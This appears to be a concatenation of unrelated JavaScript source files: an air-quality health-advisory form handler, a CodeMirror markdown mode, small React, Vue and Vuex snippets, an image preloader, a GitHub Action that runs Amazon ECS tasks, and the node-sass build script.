} else if (document.form2.pollutant.selectedIndex == '3') {
document.form2.TextSensitive.value = 'People with heart disease are the group most at risk.';
document.form2.HealthEffects.value = 'Serious aggravation of cardiovascular symptoms, such as chest pain, in people with cardiovascular disease; impairment of strenuous activities in general population.';
document.form2.Cautionary.value = 'People with cardiovascular disease, such as angina, should avoid exertion and sources of CO, such as heavy traffic; everyone else should limit heavy exertion.';
} else if (document.form2.pollutant.selectedIndex == '4' || form.pollutant.selectedIndex == '5') {
document.form2.TextSensitive.value = 'People with asthma are the group most at risk.';
document.form2.HealthEffects.value = 'Severe respiratory symptoms, such as wheezing and shortness of breath, in people with asthma; increased aggravation of heart or lung disease; possible respiratory effects in general population.';
document.form2.Cautionary.value = 'Children, asthmatics, and people with heart or lung disease should remain indoors; everyone else should avoid outdoor exertion.';
} else if (document.form2.pollutant.selectedIndex == '6' || document.form2.pollutant.selectedIndex == '7') {
document.form2.TextSensitive.value = 'Children and people with asthma are the groups most at risk.';
document.form2.HealthEffects.value = 'Severe respiratory effects and impaired breathing likely in active children and adults and people with respiratory disease, such as asthma; increasingly severe respiratory effects likely in general population.';
document.form2.Cautionary.value = 'Everyone should avoid all outdoor exertion.';
} else if (document.form2.pollutant.selectedIndex == '8') {
document.form2.TextSensitive.value = 'People with asthma or other respiratory diseases, the elderly, and children are the groups most at risk.';
document.form2.HealthEffects.value = 'Severe respiratory effects and impaired breathing likely in active children, the elderly, and people with lung disease, such as asthma; increasingly severe respiratory effects likely in general population.';
document.form2.Cautionary.value = 'Children, the elderly, and people with lung disease, such as asthma, should remain indoors; everyone else, especially children, should avoid outdoor exertion.';
}
} else {
document.form2.outputbox3.style.backgroundColor = '#ffffff';
document.form2.outputbox3.style.color = 'black';
document.form2.TextSensitive.value = '';
document.form2.HealthEffects.value = '';
document.form2.Cautionary.value = '';
}
return true;
}
|
CodeMirror.defineMode("markdown", function(cmCfg, modeCfg) {
var htmlFound = CodeMirror.modes.hasOwnProperty("xml");
var htmlMode = CodeMirror.getMode(cmCfg, htmlFound ? {name: "xml", htmlMode: true} : "text/plain");
var aliases = {
html: "htmlmixed",
js: "javascript",
json: "application/json",
c: "text/x-csrc",
"c++": "text/x-c++src",
java: "text/x-java",
csharp: "text/x-csharp",
"c#": "text/x-csharp",
scala: "text/x-scala"
};
var getMode = (function () {
var i, modes = {}, mimes = {}, mime;
var list = [];
for (var m in CodeMirror.modes)
if (CodeMirror.modes.propertyIsEnumerable(m)) list.push(m);
for (i = 0; i < list.length; i++) {
modes[list[i]] = list[i];
}
var mimesList = [];
for (var m in CodeMirror.mimeModes)
if (CodeMirror.mimeModes.propertyIsEnumerable(m))
mimesList.push({mime: m, mode: CodeMirror.mimeModes[m]});
for (i = 0; i < mimesList.length; i++) {
mime = mimesList[i].mime;
mimes[mime] = mimesList[i].mime;
}
for (var a in aliases) {
if (aliases[a] in modes || aliases[a] in mimes)
modes[a] = aliases[a];
}
return function (lang) {
return modes[lang] ? CodeMirror.getMode(cmCfg, modes[lang]) : null;
};
}());
// Should underscores in words open/close em/strong?
if (modeCfg.underscoresBreakWords === undefined)
modeCfg.underscoresBreakWords = true;
// Turn on fenced code blocks? ("```" to start/end)
if (modeCfg.fencedCodeBlocks === undefined) modeCfg.fencedCodeBlocks = false;
// Turn on task lists? ("- [ ] " and "- [x] ")
if (modeCfg.taskLists === undefined) modeCfg.taskLists = false;
var codeDepth = 0;
var header = 'header'
, code = 'comment'
, quote1 = 'atom'
, quote2 = 'number'
, list1 = 'variable-2'
, list2 = 'variable-3'
, list3 = 'keyword'
, hr = 'hr'
, image = 'tag'
, linkinline = 'link'
, linkemail = 'link'
, linktext = 'link'
, linkhref = 'string'
, em = 'em'
, strong = 'strong';
var hrRE = /^([*\-=_])(?:\s*\1){2,}\s*$/
, ulRE = /^[*\-+]\s+/
, olRE = /^[0-9]+\.\s+/
, taskListRE = /^\[(x| )\](?=\s)/ // Must follow ulRE or olRE
, headerRE = /^(?:\={1,}|-{1,})$/
, textRE = /^[^!\[\]*_\\<>` "'(]+/;
function switchInline(stream, state, f) {
state.f = state.inline = f;
return f(stream, state);
}
function switchBlock(stream, state, f) {
state.f = state.block = f;
return f(stream, state);
}
// Blocks
function blankLine(state) {
// Reset linkTitle state
state.linkTitle = false;
// Reset EM state
state.em = false;
// Reset STRONG state
state.strong = false;
// Reset state.quote
state.quote = 0;
if (!htmlFound && state.f == htmlBlock) {
state.f = inlineNormal;
state.block = blockNormal;
}
// Reset state.trailingSpace
state.trailingSpace = 0;
state.trailingSpaceNewLine = false;
// Mark this line as blank
state.thisLineHasContent = false;
return null;
}
function blockNormal(stream, state) {
var prevLineIsList = (state.list !== false);
if (state.list !== false && state.indentationDiff >= 0) { // Continued list
if (state.indentationDiff < 4) { // Only adjust indentation if *not* a code block
state.indentation -= state.indentationDiff;
}
state.list = null;
} else if (state.list !== false && state.indentation > 0) {
state.list = null;
state.listDepth = Math.floor(state.indentation / 4);
} else if (state.list !== false) { // No longer a list
state.list = false;
state.listDepth = 0;
}
if (state.indentationDiff >= 4) {
state.indentation -= 4;
stream.skipToEnd();
return code;
} else if (stream.eatSpace()) {
return null;
} else if (stream.peek() === '#' || (state.prevLineHasContent && stream.match(headerRE)) ) {
state.header = true;
} else if (stream.eat('>')) {
state.indentation++;
state.quote = 1;
stream.eatSpace();
while (stream.eat('>')) {
stream.eatSpace();
state.quote++;
}
} else if (stream.peek() === '[') {
return switchInline(stream, state, footnoteLink);
} else if (stream.match(hrRE, true)) {
return hr;
} else if ((!state.prevLineHasContent || prevLineIsList) && (stream.match(ulRE, true) || stream.match(olRE, true))) {
state.indentation += 4;
state.list = true;
state.listDepth++;
if (modeCfg.taskLists && stream.match(taskListRE, false)) {
state.taskList = true;
}
} else if (modeCfg.fencedCodeBlocks && stream.match(/^```([\w+#]*)/, true)) {
// try switching mode
state.localMode = getMode(RegExp.$1);
if (state.localMode) state.localState = state.localMode.startState();
switchBlock(stream, state, local);
return code;
}
return switchInline(stream, state, state.inline);
}
function htmlBlock(stream, state) {
var style = htmlMode.token(stream, state.htmlState);
if (htmlFound && style === 'tag' && state.htmlState.type !== 'openTag' && !state.htmlState.context) {
state.f = inlineNormal;
state.block = blockNormal;
}
if (state.md_inside && stream.current().indexOf(">")!=-1) {
state.f = inlineNormal;
state.block = blockNormal;
state.htmlState.context = undefined;
}
return style;
}
function local(stream, state) {
if (stream.sol() && stream.match(/^```/, true)) {
state.localMode = state.localState = null;
state.f = inlineNormal;
state.block = blockNormal;
return code;
} else if (state.localMode) {
return state.localMode.token(stream, state.localState);
} else {
stream.skipToEnd();
return code;
}
}
// Inline
function getType(state) {
var styles = [];
if (state.taskOpen) { return "meta"; }
if (state.taskClosed) { return "property"; }
if (state.strong) { styles.push(strong); }
if (state.em) { styles.push(em); }
if (state.linkText) { styles.push(linktext); }
if (state.code) { styles.push(code); }
if (state.header) { styles.push(header); }
if (state.quote) { styles.push(state.quote % 2 ? quote1 : quote2); }
if (state.list !== false) {
var listMod = (state.listDepth - 1) % 3;
if (!listMod) {
styles.push(list1);
} else if (listMod === 1) {
styles.push(list2);
} else {
styles.push(list3);
}
}
if (state.trailingSpaceNewLine) {
styles.push("trailing-space-new-line");
} else if (state.trailingSpace) {
styles.push("trailing-space-" + (state.trailingSpace % 2 ? "a" : "b"));
}
return styles.length ? styles.join(' ') : null;
}
function handleText(stream, state) {
if (stream.match(textRE, true)) {
return getType(state);
}
return undefined;
}
function inlineNormal(stream, state) {
var style = state.text(stream, state);
if (typeof style !== 'undefined')
return style;
if (state.list) { // List marker (*, +, -, 1., etc)
state.list = null;
return getType(state);
}
if (state.taskList) {
var taskOpen = stream.match(taskListRE, true)[1] !== "x";
if (taskOpen) state.taskOpen = true;
else state.taskClosed = true;
state.taskList = false;
return getType(state);
}
state.taskOpen = false;
state.taskClosed = false;
var ch = stream.next();
if (ch === '\\') {
stream.next();
return getType(state);
}
// Matches link titles present on next line
if (state.linkTitle) {
state.linkTitle = false;
var matchCh = ch;
if (ch === '(') {
matchCh = ')';
}
matchCh = (matchCh+'').replace(/([.?*+^$[\]\\(){}|-])/g, "\\$1");
var regex = '^\\s*(?:[^' + matchCh + '\\\\]+|\\\\\\\\|\\\\.)' + matchCh;
if (stream.match(new RegExp(regex), true)) {
return linkhref;
}
}
// If this block is changed, it may need to be updated in GFM mode
if (ch === '`') {
var t = getType(state);
var before = stream.pos;
stream.eatWhile('`');
var difference = 1 + stream.pos - before;
if (!state.code) {
codeDepth = difference;
state.code = true;
return getType(state);
} else {
if (difference === codeDepth) { // Must be exact
state.code = false;
return t;
}
return getType(state);
}
} else if (state.code) {
return getType(state);
}
if (ch === '!' && stream.match(/\[[^\]]*\] ?(?:\(|\[)/, false)) {
stream.match(/\[[^\]]*\]/);
state.inline = state.f = linkHref;
return image;
}
if (ch === '[' && stream.match(/.*\](\(| ?\[)/, false)) {
state.linkText = true;
return getType(state);
}
if (ch === ']' && state.linkText) {
var type = getType(state);
state.linkText = false;
state.inline = state.f = linkHref;
return type;
}
if (ch === '<' && stream.match(/^(https?|ftps?):\/\/(?:[^\\>]|\\.)+>/, false)) {
return switchInline(stream, state, inlineElement(linkinline, '>'));
}
if (ch === '<' && stream.match(/^[^> \\]+@(?:[^\\>]|\\.)+>/, false)) {
return switchInline(stream, state, inlineElement(linkemail, '>'));
}
if (ch === '<' && stream.match(/^\w/, false)) {
if (stream.string.indexOf(">")!=-1) {
var atts = stream.string.substring(1,stream.string.indexOf(">"));
if (/markdown\s*=\s*('|"){0,1}1('|"){0,1}/.test(atts)) {
state.md_inside = true;
}
}
stream.backUp(1);
return switchBlock(stream, state, htmlBlock);
}
if (ch === '<' && stream.match(/^\/\w*?>/)) {
state.md_inside = false;
return "tag";
}
var ignoreUnderscore = false;
if (!modeCfg.underscoresBreakWords) {
if (ch === '_' && stream.peek() !== '_' && stream.match(/(\w)/, false)) {
var prevPos = stream.pos - 2;
if (prevPos >= 0) {
var prevCh = stream.string.charAt(prevPos);
if (prevCh !== '_' && prevCh.match(/(\w)/, false)) {
ignoreUnderscore = true;
}
}
}
}
var t = getType(state);
if (ch === '*' || (ch === '_' && !ignoreUnderscore)) {
if (state.strong === ch && stream.eat(ch)) { // Remove STRONG
state.strong = false;
return t;
} else if (!state.strong && stream.eat(ch)) { // Add STRONG
state.strong = ch;
return getType(state);
} else if (state.em === ch) { // Remove EM
state.em = false;
return t;
} else if (!state.em) { // Add EM
state.em = ch;
return getType(state);
}
} else if (ch === ' ') {
if (stream.eat('*') || stream.eat('_')) { // Probably surrounded by spaces
if (stream.peek() === ' ') { // Surrounded by spaces, ignore
return getType(state);
} else { // Not surrounded by spaces, back up pointer
stream.backUp(1);
}
}
}
if (ch === ' ') {
if (stream.match(/ +$/, false)) {
state.trailingSpace++;
} else if (state.trailingSpace) {
state.trailingSpaceNewLine = true;
}
}
return getType(state);
}
function linkHref(stream, state) {
// Check if space, and return NULL if so (to avoid marking the space)
if(stream.eatSpace()){
return null;
}
var ch = stream.next();
if (ch === '(' || ch === '[') {
return switchInline(stream, state, inlineElement(linkhref, ch === '(' ? ')' : ']'));
}
return 'error';
}
function footnoteLink(stream, state) {
if (stream.match(/^[^\]]*\]:/, true)) {
state.f = footnoteUrl;
return linktext;
}
return switchInline(stream, state, inlineNormal);
}
function footnoteUrl(stream, state) {
// Check if space, and return NULL if so (to avoid marking the space)
if(stream.eatSpace()){
return null;
}
// Match URL
stream.match(/^[^\s]+/, true);
// Check for link title
if (stream.peek() === undefined) { // End of line, set flag to check next line
state.linkTitle = true;
} else { // More content on line, check if link title
stream.match(/^(?:\s+(?:"(?:[^"\\]|\\\\|\\.)+"|'(?:[^'\\]|\\\\|\\.)+'|\((?:[^)\\]|\\\\|\\.)+\)))?/, true);
}
state.f = state.inline = inlineNormal;
return linkhref;
}
var savedInlineRE = [];
function inlineRE(endChar) {
if (!savedInlineRE[endChar]) {
// Escape endChar for RegExp (taken from http://stackoverflow.com/a/494122/526741)
endChar = (endChar+'').replace(/([.?*+^$[\]\\(){}|-])/g, "\\$1");
// Match any non-endChar, escaped character, as well as the closing
// endChar.
savedInlineRE[endChar] = new RegExp('^(?:[^\\\\]|\\\\.)*?(' + endChar + ')');
}
return savedInlineRE[endChar];
}
function inlineElement(type, endChar, next) {
next = next || inlineNormal;
return function(stream, state) {
stream.match(inlineRE(endChar));
state.inline = state.f = next;
return type;
};
}
return {
startState: function() {
return {
f: blockNormal,
prevLineHasContent: false,
thisLineHasContent: false,
block: blockNormal,
htmlState: CodeMirror.startState(htmlMode),
indentation: 0,
inline: inlineNormal,
text: handleText,
linkText: false,
linkTitle: false,
em: false,
strong: false,
header: false,
taskList: false,
list: false,
listDepth: 0,
quote: 0,
trailingSpace: 0,
trailingSpaceNewLine: false
};
},
copyState: function(s) {
return {
f: s.f,
prevLineHasContent: s.prevLineHasContent,
thisLineHasContent: s.thisLineHasContent,
block: s.block,
htmlState: CodeMirror.copyState(htmlMode, s.htmlState),
indentation: s.indentation,
localMode: s.localMode,
localState: s.localMode ? CodeMirror.copyState(s.localMode, s.localState) : null,
inline: s.inline,
text: s.text,
linkTitle: s.linkTitle,
em: s.em,
strong: s.strong,
header: s.header,
taskList: s.taskList,
list: s.list,
listDepth: s.listDepth,
quote: s.quote,
trailingSpace: s.trailingSpace,
trailingSpaceNewLine: s.trailingSpaceNewLine,
md_inside: s.md_inside
};
},
token: function(stream, state) {
if (stream.sol()) {
if (stream.match(/^\s*$/, true)) {
state.prevLineHasContent = false;
return blankLine(state);
} else {
state.prevLineHasContent = state.thisLineHasContent;
state.thisLineHasContent = true;
}
// Reset state.header
state.header = false;
// Reset state.taskList
state.taskList = false;
// Reset state.code
state.code = false;
// Reset state.trailingSpace
state.trailingSpace = 0;
state.trailingSpaceNewLine = false;
state.f = state.block;
var indentation = stream.match(/^\s*/, true)[0].replace(/\t/g, ' ').length;
var difference = Math.floor((indentation - state.indentation) / 4) * 4;
if (difference > 4) difference = 4;
var adjustedIndentation = state.indentation + difference;
state.indentationDiff = adjustedIndentation - state.indentation;
state.indentation = adjustedIndentation;
if (indentation > 0) return null;
}
return state.f(stream, state);
},
blankLine: blankLine,
getType: getType
};
}, "xml");
CodeMirror.defineMIME("text/x-markdown", "markdown");
|
import React, { Component } from 'react';
import MessageList from './components/MessageList';
import MessageBox from './components/MessageBox';
import Header from './components/Header';
import { base } from './base';
class App extends Component {
constructor(props) {
super(props);
this.updateMessages = this.updateMessages.bind(this);
this.state = {
messages: []
};
}
updateMessages(message) {
this.setState({
messages: this.state.messages.concat([{ message: message }])
})
}
componentWillMount() {
this.messagesRef = base.syncState('messages', {
context: this,
state: 'messages',
asArray: true
});
}
componentWillUnmount() {
base.removeBinding(this.messagesRef);
}
render() {
return (
<div className="container">
<Header title="Simple Firebase App" />
<div className="columns">
<div className="column is-3"></div>
<div className="column is-6">
<MessageList messages={this.state.messages} />
</div>
</div>
<div className="columns">
<div className="column is-3"></div>
<div className="column is-6">
<MessageBox callBackToMessages={this.updateMessages} />
</div>
</div>
</div>
);
}
}
export default App;
|
const { objMap } = require("../../dist/lightdash.common");
describe("objMap", () => {
it("Empty", () => {
expect(objMap({}, () => 1)).toEqual({});
expect(objMap([], () => 1)).toEqual({});
});
it("Simple", () => {
expect(
objMap(
{
a: 4,
b: 2
},
(key, val) => val * 2
)
).toEqual({
a: 8,
b: 4
});
expect(objMap([4, 2], (key, val) => val * 2)).toEqual({
0: 8,
1: 4
});
});
});
|
import { PRIVATE } from "@/constants";
export default {
[PRIVATE.SET_ATTRIBUTES]: (state, payload) => {
state.attributes = payload
}
}
|
import { i18n, defaultImage, noop } from '#/common';
export function notify(options) {
browser.notifications.create(options.id || 'ViolentMonkey', {
type: 'basic',
iconUrl: defaultImage,
title: `${options.title} - ${i18n('extName')}`,
message: options.body,
isClickable: options.isClickable,
});
}
export function broadcast(data) {
browser.tabs.query({})
.then(tabs => {
tabs.forEach(tab => {
browser.tabs.sendMessage(tab.id, data)
.catch(noop);
});
});
}
export function sendMessageOrIgnore(...args) {
return browser.runtime.sendMessage(...args).catch(noop);
}
|
/*
---
name: "ImagePreloader"
description: ""
license:
- "[GNU Lesser General Public License](http://opensource.org/licenses/lgpl-license.php)"
- "[MIT License](http://opensource.org/licenses/mit-license.php)"
requires:
- declare
- Events
- Settings
provides: ImagePreloader
...
*/
atom.declare( 'atom.ImagePreloader', {
processed : 0,
number : 0,
initialize: function (settings) {
this.events = new Events(this);
this.settings = new Settings(settings).addEvents(this.events);
this.count = {
error: 0,
abort: 0,
load : 0
};
this.suffix = this.settings.get('suffix') || '';
this.usrImages = this.prefixImages(this.settings.get('images'));
this.imageUrls = this.fetchUrls();
this.domImages = {};
//this.domImages = this.createDomImages();
this.images = {};
this.createNext();
},
get isReady () {
return this.number == this.processed;
},
get info () {
var stat = atom.string.substitute(
"Images loaded: {load}; Errors: {error}; Aborts: {abort}",
this.count
);
if (this.isReady) stat = "Image preloading has completed;\n" + stat;
return stat;
},
get progress () {
return this.isReady ? 1 : atom.number.round(this.processed / this.number, 4);
},
append: function (preloader) {
for (var i in preloader.images) {
this.images[i] = preloader.images[i];
}
return this;
},
exists: function (name) {
return !!this.images[name];
},
get: function (name) {
var image = this.images[name];
if (image) {
return image;
} else {
throw new Error('No image «' + name + '»');
}
},
/** @private */
cropImage: function (img, c) {
if (!c) return img;
var canvas = document.createElement('canvas');
canvas.width = c[2];
canvas.height = c[3];
canvas.getContext('2d').drawImage( img,
c[0], c[1], c[2], c[3], 0, 0, c[2], c[3]
);
return canvas;
},
/** @private */
withoutPrefix: function (src) {
return src.indexOf('http://') === 0 || src.indexOf('https://') === 0;
},
/** @private */
prefixImages: function (images) {
var prefix = this.settings.get('prefix');
if (!prefix) return images;
return atom.object.map(images, function (src) {
return this.withoutPrefix(src) ? src : prefix + src;
}.bind(this));
},
/** @private */
cutImages: function () {
var i, parts, img;
for (i in this.usrImages) if (this.usrImages.hasOwnProperty(i)) {
parts = this.splitUrl( this.usrImages[i] );
img = this.domImages[ parts.url ];
this.images[i] = this.cropImage(img, parts.coords);
}
return this;
},
/** @private */
splitUrl: function (str) {
var url = str, size, cell, match, coords = null;
// searching for pattern 'url [x:y:w:y]'
if (match = str.match(/ \[(\d+):(\d+):(\d+):(\d+)\]$/)) {
coords = match.slice( 1 );
// searching for pattern 'url [w:y]{x:y}'
} else if (match = str.match(/ \[(\d+):(\d+)\]\{(\d+):(\d+)\}$/)) {
coords = match.slice( 1 ).map( Number );
size = coords.slice( 0, 2 );
cell = coords.slice( 2, 4 );
coords = [ cell[0] * size[0], cell[1] * size[1], size[0], size[1] ];
}
if (match) {
url = str.substr(0, str.lastIndexOf(match[0]));
coords = coords.map( Number );
}
if (this.suffix) {
if (typeof this.suffix == 'function') {
url = this.suffix( url );
} else {
url += this.suffix;
}
}
return { url: url, coords: coords };
},
/** @private */
fetchUrls: function () {
var i, result = [], hash = {}, url, images = this.usrImages;
for (i in images) if (images.hasOwnProperty(i)) {
url = this.splitUrl( images[i] ).url;
if (!hash[url]) {
result.push(url);
hash[url] = true;
this.number++;
}
}
return result;
},
/** @private */
createDomImage : function (src) {
var img = new Image();
img.src = src;
if (window.opera && img.complete) {
setTimeout(this.onProcessed.bind(this, 'load', img), 10);
} else {
['load', 'error', 'abort'].forEach(function (event) {
img.addEventListener( event, this.onProcessed.bind(this, event, img), false );
}.bind(this));
}
return img;
},
createNext: function () {
if (this.imageUrls.length) {
var url = this.imageUrls.shift();
this.domImages[url] = this.createDomImage(url);
}
},
resetImage: function (img) {
// opera fullscreen bug workaround
img.width = img.width;
img.height = img.height;
img.naturalWidth = img.naturalWidth;
img.naturalHeight = img.naturalHeight;
},
/** @private */
onProcessed : function (type, img) {
if (type == 'load' && window.opera) {
this.resetImage(img);
}
this.count[type]++;
this.processed++;
this.events.fire('progress', [this, img]);
if (this.isReady) {
this.cutImages();
this.events.ensureReady('ready', [this]);
} else {
this.createNext();
}
return this;
}
}).own({
run: function (images, callback, context) {
var preloader = new this({ images: images });
preloader.events.add( 'ready', context ? callback.bind(context) : callback );
return preloader;
}
});
|
export { default as Topbar } from './Topbar';
export { default as Sidebar } from './Sidebar';
|
const path = require('path');
const core = require('@actions/core');
const aws = require('aws-sdk');
const yaml = require('yaml');
const fs = require('fs');
// Attributes that are returned by DescribeTaskDefinition, but are not valid RegisterTaskDefinition inputs
const IGNORED_TASK_DEFINITION_ATTRIBUTES = [
'compatibilities',
'taskDefinitionArn',
'requiresAttributes',
'revision',
'status',
'registeredAt',
'deregisteredAt',
'registeredBy'
];
const WAIT_DEFAULT_DELAY_SEC = 5;
const MAX_WAIT_MINUTES = 360;
function isEmptyValue(value) {
if (value === null || value === undefined || value === '') {
return true;
}
if (Array.isArray(value)) {
for (var element of value) {
if (!isEmptyValue(element)) {
// the array has at least one non-empty element
return false;
}
}
// the array has no non-empty elements
return true;
}
if (typeof value === 'object') {
for (var childValue of Object.values(value)) {
if (!isEmptyValue(childValue)) {
// the object has at least one non-empty property
return false;
}
}
// the object has no non-empty property
return true;
}
return false;
}
function emptyValueReplacer(_, value) {
if (isEmptyValue(value)) {
return undefined;
}
if (Array.isArray(value)) {
return value.filter(e => !isEmptyValue(e));
}
return value;
}
function cleanNullKeys(obj) {
return JSON.parse(JSON.stringify(obj, emptyValueReplacer));
}
function removeIgnoredAttributes(taskDef) {
for (var attribute of IGNORED_TASK_DEFINITION_ATTRIBUTES) {
if (taskDef[attribute]) {
core.warning(`Ignoring property '${attribute}' in the task definition file. ` +
'This property is returned by the Amazon ECS DescribeTaskDefinition API and may be shown in the ECS console, ' +
'but it is not a valid field when registering a new task definition. ' +
'This field can be safely removed from your task definition file.');
delete taskDef[attribute];
}
}
return taskDef;
}
async function run() {
try {
const agent = 'amazon-ecs-run-task-for-github-actions'
const ecs = new aws.ECS({
customUserAgent: agent
});
// Get inputs
const taskDefinitionFile = core.getInput('task-definition', { required: true });
const cluster = core.getInput('cluster', { required: false });
const count = core.getInput('count', { required: true });
const startedBy = core.getInput('started-by', { required: false }) || agent;
const subnet = core.getInput('subnet', { required: true });
const securityGroup = core.getInput('security-group', { required: true });
const assignPublicIp = core.getInput('assign-public-ip', { required: false }) || 'ENABLED';
const launchType = core.getInput('launch-type', { required: false }) || 'FARGATE';
const waitForFinish = core.getInput('wait-for-finish', { required: false }) || false;
let waitForMinutes = parseInt(core.getInput('wait-for-minutes', { required: false })) || 30;
if (waitForMinutes > MAX_WAIT_MINUTES) {
waitForMinutes = MAX_WAIT_MINUTES;
}
// Register the task definition
core.debug('Registering the task definition');
const taskDefPath = path.isAbsolute(taskDefinitionFile) ?
taskDefinitionFile :
path.join(process.env.GITHUB_WORKSPACE, taskDefinitionFile);
const fileContents = fs.readFileSync(taskDefPath, 'utf8');
const taskDefContents = removeIgnoredAttributes(cleanNullKeys(yaml.parse(fileContents)));
let registerResponse;
try {
registerResponse = await ecs.registerTaskDefinition(taskDefContents).promise();
} catch (error) {
core.setFailed("Failed to register task definition in ECS: " + error.message);
core.debug("Task definition contents:");
core.debug(JSON.stringify(taskDefContents, undefined, 4));
throw(error);
}
const taskDefArn = registerResponse.taskDefinition.taskDefinitionArn;
core.setOutput('task-definition-arn', taskDefArn);
const clusterName = cluster ? cluster : 'default';
core.debug(`Running task with ${JSON.stringify({
cluster: clusterName,
taskDefinition: taskDefArn,
count: count,
startedBy: startedBy,
networkConfiguration: {
awsvpcConfiguration: {
subnets: [subnet],
securityGroups: [securityGroup],
assignPublicIp: assignPublicIp
},
},
launchType: launchType
})}`)
const runTaskResponse = await ecs.runTask({
cluster: clusterName,
taskDefinition: taskDefArn,
count: count,
startedBy: startedBy,
networkConfiguration: {
awsvpcConfiguration: {
subnets: [subnet],
securityGroups: [securityGroup],
assignPublicIp: assignPublicIp
},
},
launchType: launchType
}).promise();
core.debug(`Run task response ${JSON.stringify(runTaskResponse)}`)
if (runTaskResponse.failures && runTaskResponse.failures.length > 0) {
const failure = runTaskResponse.failures[0];
throw new Error(`${failure.arn} is ${failure.reason}`);
}
const taskArns = runTaskResponse.tasks.map(task => task.taskArn);
core.setOutput('task-arn', taskArns);
if (waitForFinish && waitForFinish.toLowerCase() === 'true') {
await waitForTasksStopped(ecs, clusterName, taskArns, waitForMinutes);
await tasksExitCode(ecs, clusterName, taskArns);
}
}
catch (error) {
core.setFailed(error.message);
core.debug(error.stack);
}
}
async function waitForTasksStopped(ecs, clusterName, taskArns, waitForMinutes) {
if (waitForMinutes > MAX_WAIT_MINUTES) {
waitForMinutes = MAX_WAIT_MINUTES;
}
const maxAttempts = (waitForMinutes * 60) / WAIT_DEFAULT_DELAY_SEC;
core.debug('Waiting for tasks to stop');
const waitTaskResponse = await ecs.waitFor('tasksStopped', {
cluster: clusterName,
tasks: taskArns,
$waiter: {
delay: WAIT_DEFAULT_DELAY_SEC,
maxAttempts: maxAttempts
}
}).promise();
core.debug(`Run task response ${JSON.stringify(waitTaskResponse)}`)
core.info(`All tasks have stopped. Watch progress in the Amazon ECS console: https://console.aws.amazon.com/ecs/home?region=${aws.config.region}#/clusters/${clusterName}/tasks`);
}
async function tasksExitCode(ecs, clusterName, taskArns) {
const describeResponse = await ecs.describeTasks({
cluster: clusterName,
tasks: taskArns
}).promise();
const containers = [].concat(...describeResponse.tasks.map(task => task.containers))
const exitCodes = containers.map(container => container.exitCode)
const reasons = containers.map(container => container.reason)
const failuresIdx = [];
exitCodes.filter((exitCode, index) => {
if (exitCode !== 0) {
failuresIdx.push(index)
}
})
const failures = reasons.filter((_, index) => failuresIdx.indexOf(index) !== -1)
if (failures.length > 0) {
core.setFailed(failures.join("\n"));
} else {
core.info(`All tasks have exited successfully.`);
}
}
module.exports = run;
/* istanbul ignore next */
if (require.main === module) {
run();
}
|
/*!
* node-sass: scripts/build.js
*/
var pkg = require('../package.json'),
fs = require('fs'),
mkdir = require('mkdirp'),
path = require('path'),
spawn = require('cross-spawn'),
sass = require('../lib/extensions');
/**
* After build
*
* @param {Object} options
* @api private
*/
function afterBuild(options) {
var install = sass.getBinaryPath();
var target = path.join(__dirname, '..', 'build',
options.debug ? 'Debug' :
process.config.target_defaults
? process.config.target_defaults.default_configuration
: 'Release',
'binding.node');
mkdir(path.dirname(install), function(err) {
if (err && err.code !== 'EEXIST') {
console.error(err.message);
return;
}
fs.stat(target, function(err) {
if (err) {
console.error('Build succeeded but target not found');
return;
}
fs.rename(target, install, function(err) {
if (err) {
console.error(err.message);
return;
}
console.log('Installed to', install);
});
});
});
}
/**
* manageProcess
*
* @param {ChildProcess} proc
* @param {Function} cb
* @api private
*/
function manageProcess(proc, cb) {
var errorMsg = '';
proc.stderr.on('data', function(data) {
errorMsg += data.toString();
});
proc.on('close', function(code) {
cb(code === 0 ? null : { message: errorMsg });
});
}
/**
* initSubmodules
*
* @param {Function} cb
* @api private
*/
function initSubmodules(cb) {
console.log('Detected a git install');
console.log('Cloning LibSass into src/libsass');
var clone = spawn('git', ['clone', 'https://github.com/sass/libsass.git', './src/libsass']);
manageProcess(clone, function(err) {
if (err) {
cb(err);
return;
}
console.log('Checking out LibSass to', pkg.libsass);
var checkout = spawn('git', ['checkout', pkg.libsass], { cwd: './src/libsass' });
manageProcess(checkout, function(err) {
cb(err);
});
});
}
/**
* installGitDependencies
*
* @param {Function} cb
* @api private
*/
function installGitDependencies(options, cb) {
var libsassPath = './src/libsass';
if (process.env.LIBSASS_EXT || options.libsassExt) {
cb();
} else if (fs.access) { // node 0.12+, iojs 1.0.0+
fs.access(libsassPath, fs.R_OK, function(err) {
err && err.code === 'ENOENT' ? initSubmodules(cb) : cb();
});
} else { // node < 0.12
fs.exists(libsassPath, function(exists) {
exists ? cb() : initSubmodules(cb);
});
}
}
/**
* Build
*
* @param {Object} options
* @api private
*/
function build(options) {
installGitDependencies(options, function(err) {
if (err) {
console.error(err.message);
process.exit(1);
}
var args = [require.resolve(path.join('node-gyp', 'bin', 'node-gyp.js')), 'rebuild', '--verbose'].concat(
['libsass_ext', 'libsass_cflags', 'libsass_ldflags', 'libsass_library'].map(function(subject) {
return ['--', subject, '=', process.env[subject.toUpperCase()] || ''].join('');
})).concat(options.args);
console.log('Building:', [process.execPath].concat(args).join(' '));
var proc = spawn(process.execPath, args, {
stdio: [0, 1, 2]
});
proc.on('exit', function(errorCode) {
if (!errorCode) {
afterBuild(options);
return;
}
if (errorCode === 127 ) {
console.error('node-gyp not found!');
} else {
console.error('Build failed with error code:', errorCode);
}
process.exit(1);
});
});
}
/**
* Parse arguments
*
* @param {Array} args
* @api private
*/
function parseArgs(args) {
var options = {
arch: process.arch,
platform: process.platform
};
options.args = args.filter(function(arg) {
if (arg === '-f' || arg === '--force') {
options.force = true;
return false;
} else if (arg.substring(0, 13) === '--target_arch') {
options.arch = arg.substring(14);
} else if (arg === '-d' || arg === '--debug') {
options.debug = true;
} else if (arg.substring(0, 13) === '--libsass_ext' && arg.substring(14) !== 'no') {
options.libsassExt = true;
}
return true;
});
return options;
}
/**
* Test for pre-built library
*
* @param {Object} options
* @api private
*/
function testBinary(options) {
if (options.force || process.env.SASS_FORCE_BUILD) {
return build(options);
}
if (!sass.hasBinary(sass.getBinaryPath())) {
return build(options);
}
console.log('Binary found at', sass.getBinaryPath());
console.log('Testing binary');
try {
require('../').renderSync({
data: 's { a: ss }'
});
console.log('Binary is fine');
} catch (e) {
console.log('Binary has a problem:', e);
console.log('Building the binary locally');
return build(options);
}
}
/**
* Apply arguments and run
*/
testBinary(parseArgs(process.argv.slice(2)));
|
import Vue from 'vue'
import VueRouter from 'vue-router'
import VueResource from 'vue-resource'
import $ from 'jquery'
import _ from 'underscore'
Vue.use(VueResource)
Vue.use(VueRouter)
